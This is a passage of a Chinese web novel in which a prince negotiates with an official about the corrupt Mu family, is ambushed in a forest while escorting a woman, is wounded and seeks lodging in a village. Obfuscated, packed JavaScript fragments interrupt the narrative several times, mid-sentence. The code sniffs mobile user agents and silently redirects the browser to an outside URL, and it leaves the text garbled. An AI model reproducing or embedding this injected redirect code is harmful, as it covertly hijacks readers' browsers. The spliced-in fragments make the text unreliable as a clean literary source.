“殿下想必也知道,慕家在西南郡所做的一切。他们仗着有朝廷撑腰,一直在西南郡胡作非为,他不把我这个小官放在眼里就算了,还肆意地欺凌百姓,掠夺他们的钱财和妻女。”程兆续说到这时,脸上的表情变得有些忿忿,“我也曾向陛下求助,可是送去京中的信件都石沉大海。没想到这次,却突然听说殿下来到西南郡。” “原来你还向朝廷说过这事,我还以为你们西南郡和慕家已经狼狈为奸了呢。”段云澜奇道。 “怎么可能!”程兆续立马梗着脖子反驳道,似乎极为不满段云澜将他与慕家联系起来,“慕家从不把普通百姓放在眼里,自视清高,又干着残害他人的事,我怎么可能会与这种人为伍!” 段云澜见程兆续神情激动,一脸的义愤填膺,只得讪讪地向程兆续道了歉。 “所以程大人的意思是,想让我替你们摆平慕家?”沈南寂听程兆续说了这么多,自然也明白了他的想法。 “正是。”程兆续立即承认,随后又问,“那殿下意下如何?” 沈南寂沉吟片刻,突然看向程兆续,道:“你想让我帮你,那你能给出什么样的条件呢?” 程兆续怔了一下,随即又立马道:“只要殿下能替西南郡摆平慕家的事,今后殿下无论想要什么,我都会替您寻来!” “不必了,这种许诺我听得多了去了。”沈南寂摆摆手,回道。 “那殿下想要什么?”程兆续心底有些忐忑,猜测着沈南寂会说出什么样的条件。他甚至有些怀疑,沈南寂是否真的解决慕家的事,而不是冲着那未知的条件去的。 可谁料,下一秒就听到沈南寂说道:“你方才与我说的那些,我也不知真假,那些未必不是让我放松警惕的花言巧语,所以我不能全信你。但慕家的事,本就是我来西南郡的目的,所以即便你不说,我也还是会去处理它。其他东西就算了,我只希望你不要心口不一,和他们任何一方有牵扯。” 不知为何,程兆续听到沈南寂的这话时,不禁松了口气。然后他连忙保证,就差对着沈南寂发誓了,“殿下,我向您保证,我方才所说的那些,绝无半点虚假或是诓骗。我与朝廷和慕家早就撕破了连,如果殿下您愿意,我也可以成为您的左膀右臂。” “既然如此,那你介意我留几名侍卫在府上吗?”沈南寂看着程兆续,道,“程大人放心,他们不会干涉你的任何行为,只要你没有做出多余的举动。” 程兆续明白了沈南寂的意思,这就是派着几个人来监视自己的行动。不过正如沈南寂所说,如果他没有做什么不该做的事,自然不会有任何问题,甚至在自己有危险的时候,还会是一个免费的护卫。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127522|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>于是程兆续不假思索地点头应下,同意了沈南寂的要求,“全听殿下安排。” 在西南郡又呆了片刻后,沈南寂拒绝了程兆续的邀请,并没有留在郡守府,而是返回了城外。 他们还要向更西南的方向走,去到慕家如今驻扎的地方。 赵岳琦一行人此刻正三三两两坐在草地上休整,有人在喝水,有人正闭着眼小憩。赵岳琦是第一个注意到沈南寂他们回来的,连忙起身迎道:“殿下,你们回来了?” 听到赵岳琦的声音,众人这才发现了沈南寂他们,连忙就要起身站好,结果却被沈南寂抬手制止,“不用起来,你们继续休息,等你们休息好了,我们再出发。” 众人闻言,便又重新坐了回去。 姜念念和段云澜没有其他事,便也跟着坐了过去,而沈南寂则是将赵岳琦叫到了一边。 “殿下有何吩咐?”赵岳琦见沈南寂把自己叫走,即便对面的人还没开口,他就已经猜到沈南寂是有话要对自己说。 “也不是什么大事。”沈南寂道,“你在待会出发之前,先挑几个聪明点,最好武功也不错的士兵出来。” “殿下是打算?”赵岳琦有些没太明白沈南寂的意图。 沈南寂想了想,将程兆续的事情简单说了,然后又道:“你让人跟着他,有什么不对劲的地方,就来禀报我们。” “原来是这样。”赵岳琦恍然大悟,心底有了较量,“殿下放心,我会挑几个让您满意的。” “好。”沈南寂微微颔首,他也相信赵岳琦的眼光。 往回走时,赵岳琦突然道:“殿下,其实您找护卫,也不全是为了监督程大人吧?” 沈南寂默了一瞬,随即问道:“为何这么说?” “殿下您特地叮嘱,要武功不错的,想来可能是想让他们顺带保护程大人的安危?”赵岳琦认真分析道。 赵岳琦虽是武将出生,但同时也胆大心细,往往在一些日常的小事上,也能很快看出藏在表面下的真实模样。这也是沈南寂让赵岳琦去挑人的原因之一。 “如果他真如他自己所说的那样,为了这事不惜与父皇撕开脸,那我保一保他也无可厚非。”沈南寂说道。 赵岳琦笑了笑,没再说话。他深知眼前的这位殿下,虽是从深宫中一步步爬出来,表面与人冷漠,手段强硬,可偶尔也会露出令人意外的心软来。 不过这样也没什么不好,这样的心境本就极为难得,越是身处绝境之处,心便越是坚如磐石,很少还会有人再给自己留一丝余地。 也许,这与殿下的生长环境有关?赵岳琦心中忍不住想道。 不过赵岳琦也没有多少思考的时间,他们很快就回到了军队停留的地方,他飞快地从人群里挑了几个人,然后和沈南寂方才一样,单独将他们叫到一边,简单地交代了一些注意事项,便让他们去了郡守府。 其余人自然也注意到了赵岳琦的这一系列行为,不过好奇归好奇,他们也没有去问。毕竟这很可能是什么秘密任务,他们自然不会随便打听。 29. 同骑 等休息得够了,便要继续整装出发。不过在临动身之前,他们一行人也为了接下来的行程商议好了对策。 既然连程兆续都知道,沈南寂已经抵达西南郡,那么慕家要想知道他们的行程,那更是轻而易举。也许慕家表面不敢动手,但背地里的小动作定然不会少。 赵岳琦从怀里拿出之前沈南寂他们离开后,自己特地进城买来的一张地图,那图上清楚地标记着西南郡以及周边的地势情况,正适合他们赶路用。 “从西南郡继续向西南方向前进,便会去到边境,那里几乎没有人居住,只有大军驻扎,守着边线。”沈南寂此刻看着那地图,说道,“而从西南郡到边疆,必然要经过这处密林。慕家若是想要对付我们,必然会在这片密林里埋伏。” 林中常有野兽,且不易寻人,倘若他们死在了林中,那正好可以直接来个死无对证。 “若是要在山林行走,马车恐怕就不好前进了,而且我们也需要尽快通过林子,这样才能确保安全。”赵岳琦也在一旁说道。 沈南寂点点头,认同了赵岳琦的话,“进了林子之后,所有人都提高警惕,尽快出林子。” 众人齐齐应了声“是”,同时也各自检查着自己的装备。 赵岳琦的目光落到一旁的姜念念身上,“那姜姑娘怎么办?” 姜念念并不会骑马,而且她跟着似乎也没什么用,可能还会拖后腿。就在姜念念想着,不然自己也留在西南郡等他们回来的时候,沈南寂就已经率先开口了:“她跟着我。” 赵岳琦闻言,点点头没有再说什么。这么多天大家也都发现了,这位姜姑娘于殿下而言意义非凡,不过沈南寂没有亲口承认,他们也只敢私底下猜测。 况且姜姑娘为人热情大方,并没有普通世家女子的拘谨和怯懦,行事上谨慎却也大胆,和大家相处的倒也融洽。所以大家在短暂的相处中,很快就抛下偏见,喜欢上了这个性情有些别具一格的女子,很多事上也都对她颇为照顾。 而姜念念也知道大家有些事上是迁就了自己,她也并没有因此就颐气指使,认为那是理所应当,所以她也尽力做着一些自己力所能及的小事。 久而久之,这份偏见便彻底不见,大家也都自然而然地把姜念念当做了队伍的一份子。因此,即便今天要一同去往边境时,大家也都自发地认为姜念念就该随他们一同出发,没有人觉得姜念念是个拖累,应该直接选择将人留下,反而是寻找着解决办法。 等到众人的注意力都不在这边了,姜念念才小声地开口:“殿下,其实我跟着你们,也没有什么用,为什么不让我留在西南郡?” “放心吧,不会有危险的。”沈南寂冲姜念念笑了笑,安抚般地开口。 姜念念默了一瞬,随即说道:“我不是这个意思。” 沈南寂敛下眸子“嗯”了一声,片刻后才道:“我知道,但大家都没说什么,你也不必有心理负担。” 沈南寂一边说着,一边将手中的东西递到了姜念念的身前,姜念念下意识地接过,只觉手上一沉,低头才发现手上拿着的是一把匕首。那匕首做工精巧,刀柄上还镶着璀璨的宝石,在阳光的映照下熠熠生辉。 姜念念几乎是一眼就被吸引了目光。 “这个你收好,必要的时候用它来防身。”沈南寂看着姜念念,“不过使用的时候小心,不要被它伤到了。” 姜念念闻言这才抬头看向沈南寂,“啊,让我用它……” “是不喜欢吗?”沈南寂问。 “不是。”姜念念连忙摇头,她的确觉得这个匕首做得很精巧美观,可那不代表她就可以用它来捅别人。 虽说她已经适应了这个世界,不会时不时有着“杀人犯法”这样幼稚的想法,可那也不代表她可以毫无负担地自己动手杀人。她自己的心里也过不去这道坎。 可眼下的情形的确容不得她扭捏,姜念念迟疑了片刻,最终还是收下了匕首,“那我就收下了。” 沈南寂见状,也没再多说什么,任由姜念念转身去收拾东西了。 其实他也不是没考虑过将姜念念留在西南郡,只不过西南郡也并不安全,他不希望姜念念遭遇那些。所以与其让人提心吊胆地呆在西南郡,不如和他们一同出发,那样他也能保证她不受威胁。 很快众人便整装待发,姜念念也跟着沈南寂来到马前,沈南寂先将东西挂好,然后便转头看向姜念念。姜念念原本是打算看看别人是怎么上马的,结果下一秒就感觉自己整个人双脚腾空,还没来得及反应,下一秒人就已经坐在马背上了。 姜念念:“……” “姐姐坐稳了。”沈南寂微微弯唇,提醒道。 “……怎么不提前通知一声。”姜念念手中抓着缰绳,现在她坐在马背上,恰好可以居高临下地看着沈南寂。姜念念这才发现,她都很久没有以这个角度观察沈南寂了。 “提前说了,姐姐就该紧张了啊。”沈南寂丝毫不觉有什么不对,他也没急着上马,就在姜念念面朝的那一侧站着,仰头和她说着话。 这些天可能是被沈南寂叫习惯了,现在再听到沈南寂叫她姐姐时,她已经不觉得别扭了。不过不知是不是姜念念的错觉,她总觉得从这个角度看向沈南寂时,好像窥见了一些不同于往日的复杂情绪。 没等姜念念错开视线,沈南寂就已经率先打破了沉默,他像是在告知姜念念,又像是在通知其他人,声音不高不低:“出发了。” 话音刚落,沈南寂便翻身上马,牵过了姜念念手中的缰绳。 姜念念是侧身坐在前面的,此刻沈南寂坐上来后,看起来就像是将她整个人都圈在了怀里。两人靠得极近,姜念念的身形一僵,却也没有多排斥这样的接近。 沈南寂将姜念念的反应看在眼里,神色有一瞬间的晦暗,但很快便又恢复了往日的平静。一声令下后,队伍便陆续向着西南前进。 当下这个关头,更多的还是关心着生死存亡,所以也生不出多少旖旎的心思。只不过姜念念也不需要做什么,她斜着身子看向前方,看着那些风景从眼前不断掠过,心底却是放空的。 前行的速度很快,骏马奔驰在泛着轻浅绿意的草地上,迎着四面八方袭来的料峭寒风。冬日的最后一点余韵,也来势汹汹。 姜念念倒没觉得特别冷,大部分的寒风都被身后的人挡了去,只迎面吹来的风中有些刮得脸疼。 她默默扭头,结果下一刻就感到身侧裹上一层暖意,她下意识抬头望去,便正对上沈南寂的向下一瞥的目光。 见姜念念看他,沈南寂在人耳边道:“风大。” 他们离得近,再加上刻意的靠近,所以即便周遭声音嘈杂,也还是能够听清对方说了什么。 沈南寂说完,搂着人的腰身,将人圈得更近了些,随后又用自己的斗篷将人裹紧,不让那些风吹到姜念念。 姜念念感觉到风都被隔绝在外,本来想说吹点风也没关系的话,也直接堵在了喉咙里。她没再说话,手中空空的有些没什么安全感,她左看右看,最终拽住了沈南寂衣饰上垂下来的一截带子——虽然看起来没什么用,但好歹手上是抓了点什么。 不过眼前没了那些交错的风景,姜念念的注意力便放到了沈南寂的身上。 身后的人身形挺拔,是绝不容忽视的存在,可姜念念却是直到今天才忽然意识到,他已经不再是当初那个凡事都爱跟她呛嘴的小孩了。他好像在不知不觉间,慢慢成长到了,快要让人忘记他的年龄,甚至就连姜念念也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜念念也早就已经习惯了早睡早起,她醒来时左右看了看,发现不远处沈南寂正和段云澜在商量着什么。似乎是察觉到了姜念念的视线,他扭头朝着这边看了一眼,等看清是姜念念后,他轻轻勾起唇角冲姜念念笑了笑,然后又继续回头和段云澜谈着话。 姜念念见周围的人都快要收拾好了,赶忙走一旁,重新将睡乱的头发整理好,又理了理有些皱巴巴的衣服。等到收拾妥帖了,这才走出来和大家会合。 “姜姑娘也起了啊。”赵岳琦见到姜念念后,笑着和人打招呼。 姜念念笑着应了一声:“嗯,起了。” “姜姑娘应该饿了吧?”赵岳琦说着,拿起纸包里的饼,递到了姜念念的面前。 那饼已经凉了,而且干巴巴的味道也并不好,不过填饱肚子是刚好的。姜念念这么多天也早就跟着他们吃惯了这样的食物,眼下自然也不推辞,向赵岳琦道了谢后,便直接接过了饼吃了起来。 但即便是有了心理准备,但真啃起来,姜念念还是有些忧愁。姜念念没好意思跟赵岳琦要水喝,只能坐在一旁托着腮,咬一口饼,有一搭没一搭地嚼半天,咽下去后再咬一口。 这样嚼了半天的结果就是,姜念念感觉自己的腮帮子都有些酸了,那饼还剩下半天。 她没忍住叹了口气,然后下一秒一个水袋就递了过来。 姜念念有些惊讶地抬头,顺着那手的方向看去,随即就见到沈南寂正站在那里,手中拿着水袋笑看着她。 见姜念念没有动作,沈南寂抬手示意了一下,“喝点水吧。” 姜念念这才回过神来,接过水喝了一口,总算是觉得气顺了。然后她这才对没有离开的沈南寂道了谢。 沈南寂默了默,最终缓声道:“不必。” “什么?”姜念念有些没听清。 “无论你做什么,都不用谢我。”沈南寂又道。 姜念念闻言愣了愣,不过还是答了一声“好”。 接下来两人都没再说话,怕耽误行程,姜念念飞快地解决了这顿早饭,和众人一起集合。 30. 受伤 一行人很快便入了林子,此刻正是冬末春初的时节,除了一些常绿的树种仍旧绿意葱浓,许多树的枝丫上还是光秃秃一片。可即便如此,参天的树林仍旧挡住了头顶的光,落成斑驳的光影。 太阳快要升起了。 “小心周围。”沈南寂正色道。 众人听到沈南寂的提醒,都警惕地留意着周围的动静,沉重的马蹄声回荡在林间,纷杂中也有几分秩序。可这样的声响,轻易便可盖过那些潜藏在暗处的细微声响,直到银光乍现,尖锐的破空声传来—— “大家小心!”赵岳琦提剑劈开从侧面飞来的羽剑,提醒大家注意周围的动静,他面色从容,并不因为这突如其来的变故而慌乱。 而队伍里的众人,在察觉到危险后的第一时间,也都各自列好了阵型,并没有因为突然的袭击而乱了阵脚。他们警惕着周围的动静,静候着躲在暗处的人出现。 周遭的环境在一瞬间安静下来,这种静惯会放大人心中的不安,即便是知道大家都有备而来,姜念念还是忍不住感到害怕。 而就在她感到惴惴不安的时候,耳边却突然传来悄声的安慰:“姐姐别害怕,我不会让你有事的。” 姜念念正想要说话,却被另一道声音打断。 躲在暗处的人自然不可能一直不出来,此时见到沈南寂他们停在原地,自是不会放过这绝佳的机会。他们抛下弓箭,直接驱马冲了出来,誓要将人留在林中。 赵岳琦见计划奏效,立马便同那些人缠斗在了一起。 敌人躲在暗处时,他们尚且无法一网打尽,而且还容易被乱箭所伤。所以他们当时便决定,直接在原地等着那些人现身,然后直接面对面对抗。 真要防着暗箭,他们未必会是对方的对手,可若是将一切摆在明面上,谁输谁赢那就未可知了。 那些人很快便注意到了沈南寂,待看到马上还坐着一个容貌昳丽的女子时,他们的眸光微眯了眯,下一刻为首的一个人便道:“那人就是五皇子,杀了他,他马上的那个姑娘留下。” 姜念念有些厌恶他那肆无忌惮的打量,正想要偏过头不去看他,眼前就覆上一道阴影,“闭眼,不要看。” 姜念念迟疑了一瞬,依言闭上了眼睛。但视觉的消失,让她其他的感官立马变得敏锐,她感受到刺骨的风缭过眼鬓,随着刀剑划开皮肉的声响,血腥味蔓延开来。即使看不见,姜念念的眼前却不自觉地浮现出,大朵大朵血色,如烈焰红花盛开。 不知过了多久,声歇风止,只有空气中那浓郁到快要凝为实质的血腥味,在不断地告诉姜念念,刚刚这里所发生的一切。 然而,这份宁静并没有持续多久,潜藏在暗处的敌人,也并不只有刚刚的那些人而已。那些冲在前面的先锋死后,隐于暗处的人再次拉弓放箭。 数不清的羽箭铺天盖地地飞来,众人只能被动地防守,但即便如此,还是有人被乱箭射中。 留在原地,只会造成更多的伤亡,沈南寂当机立断,冲着远处的段云澜喊道:“段云澜。” 段云澜听到沈南寂的声音后,直接命令道:“都分开走。” 说罢,段云澜就直接调转了马头,带着一小队的人向前冲出了包围圈,紧接着其余人也都分散开朝着其他方向行去,而沈南寂见状,也随机选择了一个方向疾行而去。 眼看着一行人即将从眼前消失,躲在暗处的人不约而同都将视线转向其中一人,“老大,他们好像分开跑了。” “我看到了。”被称作老大的人白了那人一眼,眼神中还带着些不悦,“那位大人可是说了,要把他们都留在林子里,我们也分开追。尤其是那个沈南寂,一定要确保他的命被留下。” 得到了老大的命令,众人便只能受了弓箭,然后翻身上马,追着沈南寂等人分散而去的方向行去。一时之间,逃亡者与追击者的马蹄声不绝于耳,谁也不敢有半分松懈。 姜念念早已经睁开了眼睛,但身后紧追不舍的人让她根本不敢向后看去,于是只能祈求着他们可以早一点脱离追捕。 终于,姜念念看到了不远处一个隐蔽的山洞,她微微坐直了身体,拽了拽沈南寂的衣袖,“左前方那里有一个山洞。” 沈南寂顺着姜念念所说的方向看去,的确是一个山洞,而且由于那个位置偏僻,他刚刚一时也没有注意到。沈南寂想了想,悄声说道:“等会我们跳马下去,你抱紧我。” 姜念念点点头,应了一声。 此时他们已经将人甩出一段距离,沈南寂趁着那些人没有注意到他们,直接拿着一支不知何时拿到的羽箭,狠狠扎在了马屁股上。趁着马吃痛发狂之前,沈南寂直接抱着姜念念纵身跳下马背,任由那马发疯般地朝前狂奔而去。 两人跌在灌木丛里,姜念念能够感觉到枯死的荆棘划在身上,一阵刺痛。不过她也顾不得这些,那些追兵已经逼近,不过似乎也并没有察觉到姜念念他们已经弃马躲起来了。他们追着马离去的方向,再次远离。 姜念念想看看那些人走远了没有,结果刚抬起头,就被一只手又给压了回去。 “再等等。”沈南寂的声音在耳边响起。 刚刚两人摔下来之后,就顺势滚进了一旁的灌木丛,这个角度正好可以避开那些人的视线,可一旦起身牵动灌木,周围有人的话就定然会被察觉。 姜念念听到沈南寂的话后,便只能依言等了片刻,等确定不会再有其他人出现,沈南寂这才道:“好了,我们先去刚刚你说的那个山洞,那些人发现不对,肯定还会回来的。” 姜念念点点头,刚站起身就见沈南寂起身时动作有些僵硬,尤其是站起来的时候,整个人的身形都微微晃了一下。 “你怎么了……”姜念念赶忙伸手将人扶住,询问的话说到一半,她就看到了沈南寂肩膀位置的衣袍上,晕着沉黑的印记。即便那颜色藏在玄色的衣袍上并不显眼,可近看还是能够一眼辨认,“你受伤了?” 沈南寂的神色不变,仿佛受伤的人根本不是自己一样,“不是什么大事,我们先走。” 姜念念心下担忧,可这种地方的确不能多停留,于是一咬牙应了声“好”。不过她也没松手,直接将人扶着挪到了山洞前,她扒开洞口垂下来的藤蔓枯枝,和沈南寂一同钻进洞内,然后又将那些遮盖的植物扒拉回来。 她没有独自在野外生存过,这几个月基本也都是跟着队伍一同生活,但她知道自己想要活下去。 “放心,段云澜他们会将人引去我们提前计划好的位置,将他们处理干净。只要他们跟着离开,大概率不会有逃脱的可能。”沈南寂以为姜念念是害怕那些人还会追回来,于是在身后安抚道,“我们也不能在这里停留太久,今天之前必须要离开林子,不然等到明天,慕家发觉不对,肯定还会派其他人过来。我们已经商议好在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201605|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林子外集合,不会有事。” 听到沈南寂的话,姜念念深吸一口气,转身看向沈南寂。洞内的光线被植物遮挡,显得有些昏暗,可姜念念却还是能辨认出,对面的人脸上挂着浅淡的笑。 这都什么时候了,居然还有心思笑。 姜念念有些气急败坏,直接押着人坐到一旁的石头上,“这种时候,你难道不该关心一下你自己的伤吗?” 沈南寂因为姜念念突如其来的动作而有些错愕,不过在听完姜念念的话之后,却好心情地勾了勾唇,“小伤而已,不必在意。” 姜念念瞅了一眼那出血量,根本不相信,她抿唇,眼下也顾不得其他,直接说道:“给我看看你的伤。” 如果伤口一直不止血,很可能会因为失血过多而导致休克,这里前不着村后不着店,她上哪去给人找大夫?而且她也实在拖不动这么大只的人走路。 沈南寂垂着眸子没有动作,他不笑时那一双眸子便黑沉沉的,像是无边的黑夜,无端让人生出畏惧。 可姜念念却并不害怕,只静静地回望着他,分毫不让。 良久,沈南寂眼眸微弯,不疾不徐道:“姐姐是在担心我吗?” “……”姜念念没想到都这个时候,沈南寂居然还有心情和她说笑,顿时没好气地说道,“是啊,不过要是你失血过多晕过去了,我就把你直接丢在这里不管了。” “直接丢下吗?”沈南寂眼眸黯然,似乎有些委屈。 “我又背不动你,当然就只能把你丢下了。”姜念念理所当然地回答。 沈南寂似乎是终于接受了姜念念的“心狠”,“好吧。那我勉强确保自己不会晕倒,这样你就不能把我丢下了。” 姜念念没想到他还真接了话,当即抬手不轻不重地拍了一下他没伤的右肩,“快让我看看。” 见姜念念执意要看,沈南寂顿了片刻,最终还是背过身去自己解开了衣带,然后褪下左肩的衣衫,将伤口露了出来。 狰狞的伤口暴露在冷寒的空气中,光是让人看一眼,就觉得触目惊心。那伤口不大,但却极深,姜念念仅仅只是看着,就觉得肩膀一阵疼。此刻那伤口已经不再流血,不过姜念念知道,这样放任伤口不管,伤口稍不留神就会再次裂开,而且伤口感染后也会导致人生病。 “姐姐。”沈南寂见姜念念不动,忍不住出了声,他不知道从哪摸出一个锦囊,“用这个。” 姜念念下意识接过,刚打开就嗅到一股草药香,“这是伤药?” “之前备着,以备不时之需的。”沈南寂声音没什么太大起伏,而且他背对着姜念念,所以姜念念也看不清他的神情,“刚刚才想起来。” 最后一句话像是在解释,自己为什么这个时候才拿出来一样。姜念念也顾不得其它,低头从里面翻找出止血的药,碾碎给沈南寂敷上。 “暂时只能这样止血,等我们出去了,要重新上药。”姜念念一边上药一边叮嘱道。 沈南寂顿了片刻,随即才应道:“好。” 姜念念见人还算清醒,稍稍松了口气,直接从自己里衣上撕开几节布条给人包扎上,这才问起了那伤口的情况,“你自己把箭拔出来的?” 依照记忆,沈南寂应该是在逃亡的路上,不慎被追兵的箭射中。而之后扎在马屁股上的箭,应该就是射中沈南寂的那支。姜念念怎么也没想到,他居然就直接动手拔了。 31. 借宿 沈南寂很显然没有把它当回事,听到姜念念的话,轻轻点了下头。姜念念看到他这副毫不在意的模样,虽然忍不住气他一点都不在意自己的安危,可他如今是个病患,到底还是没有再出言训斥。 姜念念知道,这种时候一旦睡过去,那情况将会更加棘手,所以为了不让人闲下来,姜念念就找话题让他保持清醒。 太阳升起,柔和的日光洒下,斑驳的树影像是细碎的天星,一粒粒铺散在地上,盛着清风。有了阳光,山洞内也逐渐亮了些许,至少两人已经能够看清彼此。 其实也没什么好聊的,那些陈年旧事扒开来,根本没有多少是值得留恋的。而姜念念在来到这里之前的事,也根本不能提及。所以到了最后,姜念念也不再说话,她就静静地盯着沈南寂,防止他出现其他情况。 “时候也不早了,那些人应该已经解决了,我们走吧。”沈南寂瞥了一眼洞外的天色,转头对姜念念说道。 姜念念点头应道:“好。” 姜念念一边应着,一边起身扒开洞口的藤蔓,出去看了一眼外面的情况。确定外面不会有任何危险之后,她这才回身扶着沈南寂出来。 “你还能走吗?”姜念念有些不太确定地问道,“我们现在走出林子,应该还需要很久吧。” “可以。”沈南寂倒是不像姜念念那般担心,刚刚在山洞内他已经恢复了体力,等确定自己能够支撑到离开林子,才提议出发的。至于到了林子外,应该就有其他人接应了。 姜念念见沈南寂这么笃定,虽然仍有些将信将疑,不过却还是搀扶着人走了出去。 两人的速度并不算快,再加上姜念念负担了沈南寂的一部分行动力,所以他们基本上是走走停停。姜念念不认路,基本都是按照沈南寂给她指的路走,所以也压根不知道到底还要走多久。 这个时节,林子里也很少会有可以充饥的果子,走到后来的时候,饥饿感慢慢袭上来,就连姜念念都是靠着意志力撑下去的。 不过在太阳快要落下地平线之前,他们终于是看到了一处小小的村落。 姜念念看到房屋后,终于有些激动地对沈南寂说道:“殿下,我们出来了。” “我们应该是偏离了方向。”沈南寂看到那些房屋后,微不可查地皱了一下眉,“段云澜他们不在这里。” 姜念念听到沈南寂的话,这才想起他们应该要与段云澜他们会合。只不过此时他们眼前的场景,与边疆军营毫无关联,那零落的小房屋也根本不会出现在军营附近。 “可能是路上不小心偏离了方向。”姜念念道,“不过这么晚了,继续赶路的话我们身体都吃不消,更何况你还受着伤。不然我们过去问问,能不能向他们借宿,然后等明天天亮了再去找小段将军?” 沈南寂想了想,同意了姜念念的提议,随后又道:“我们也可以在这里等他们,段云澜他们没等到我们,应该也会派人来寻,贸然往前走,可能还会耽误时间。” “这些等明天再说吧,我们先过去。”姜念念说着,便继续搀扶着沈南寂,走到了一户人家的门前。 此时太阳已经落山,只留几缕余晖散在天边,天空昏昏沉沉,却也还是能勉强视物。 姜念念扶稳沈南寂,然后敲了敲面前的门。 等了片刻后,门“吱呀”一声被打开,门后出现了一位中年女人,她见到姜念念的脸后,很明显是愣了一下,“你是?” 姜念念脸上挂着歉意的笑,“不好意思,我和弟弟是来这边找人的,结果不小心迷了路,他也受了伤。而且现在天又晚了,所以我想问问,能不能借宿一晚。” 女人听到姜念念的话,这才拉大了门缝,目光看向了一旁的沈南寂。她瞅了半晌,倒是没对两人的身份有什么怀疑。 可能是确定两人都没有什么威胁,女人这才开口:“你弟弟这么大了?” 姜念念有些没明白女人的意思,看到姜念念疑惑的目光,女人解释道:“你们可以住在我家,但是我家只有一间空房了,你们……” “一间房也可以。”沈南寂说道。 姜念念迟疑了一下,随即也点头对女人道:“对,我们只需要有个地方歇脚,一间房的话,也方便我照顾他。” 女人听到他们这么说,也不再多说什么,“既然你们没问题,那就进来吧。” 见状,姜念念总算是松了一口气,赶忙扶着沈南寂进了屋。 进到屋内后,姜念念看到桌边坐了一个看起来七八岁的小孩,见到姜念念他们时,小孩的眼神亮晶晶的,满是好奇地打量着他们。 姜念念见他生得可爱,于是便转头问女人:“这是您家的孩子吗?今年多大了?真可爱。” “他叫小凛。”女人听到别人夸自己的孩子,心底也有些开心,“刚过完八岁的生辰。” “原来叫小凛。”姜念念笑了笑,又对那孩子道,“你好,小凛。” 小凛听到姜念念的话也不露怯,甜甜地说道:“姐姐好。” 虽然以自己的年龄,让一个八岁的小孩叫自己姐姐,实在是有些厚脸皮了些,但姜念念还是忍不住高兴。她伸手轻轻捏了捏小凛的脸颊,又夸了他两句。 “家里只有你们两个人吗?”就在这时,沈南寂的声音响起,将女人和姜念念的注意力都拉了回来。 女人愣了一下,随即说道:“对,小凛的父亲在外做工,每次都几个月回来一趟。” 沈南寂点点头,没再说话。 “你们应该饿了吧?晚上我们还剩了些红薯,现在还是热的,你们要是不嫌弃的话,就填填肚子吧。要是不想吃红薯,我给你们烧些饭菜,不过要多等一段时间。” “不用麻烦,红薯就行了。”姜念念忙说道。 她也看出这家人生活并不富裕,也许留的那些红薯是明天早上的食物,可他们确实近一天没吃东西,也只能舔着脸收下了食物。 在回屋之前,姜念念向女人讨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211985|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要了一些伤药,毕竟之前沈南寂的伤她只是简单处理了一番,还是要重新上药包扎的。 住在这种地方的人家,一般都会在家中备一些常用的药物,女人给姜念念他们拿来了药后,又给他们烧了热水。姜念念感谢过女人,这才带着沈南寂回了房间。 房内的陈设简单,不过好在床上的被子还算厚实,姜念念将人扶着坐下,然后转身将从女人那借来的布浸入热水中,“殿下先将衣服脱了,我给你重新上药。” 身后静了片刻,就在姜念念想要回头查看时,才传来窸窸窣窣的声响。过了片刻,等姜念念回身时,沈南寂已经将肩上的伤处露了出来。 姜念念走过去,先将打湿的布巾塞给沈南寂,然后三下五除二地拆了之前包扎的布条,再用布巾将伤口仔仔细细擦拭了一遍。万幸的是,那伤口已经不再流血,开始自行缓慢地愈合。姜念念看着那伤处,心中有些五味杂陈,手上却还是飞快地给人上了药,然后又重新包扎好。 “已经好了,殿下可以休息了。”姜念念对坐在那里,自从进了屋后就一直没有说话的沈南寂说道。她也没有多想,只以为这赶了一天路,他又有伤在身,感到疲惫是正常的。 姜念念端着盆要出去时,却突然被人叫住:“你要去哪?” 姜念念的脚步一顿,就见沈南寂依旧还坐在床边,目不转睛地打量着她。 “将东西还给人家,然后再跟她借床被子。”姜念念指了指床,对沈南寂说道,“你先休息,我很快就会回来的。” “为什么……”沈南寂的嘴唇翕动,似是说了一句什么。 不过后面的声音极轻,姜念念根本没有听清。她有些迟疑地开口:“你刚刚说什么?” 沈南寂的眸光微动,顿了顿才说道:“没什么,我只是想说,不然我睡地上?” 姜念念闻言不禁有些苦笑不得,“殿下,您是病患,怎么能让你睡地上呢。” 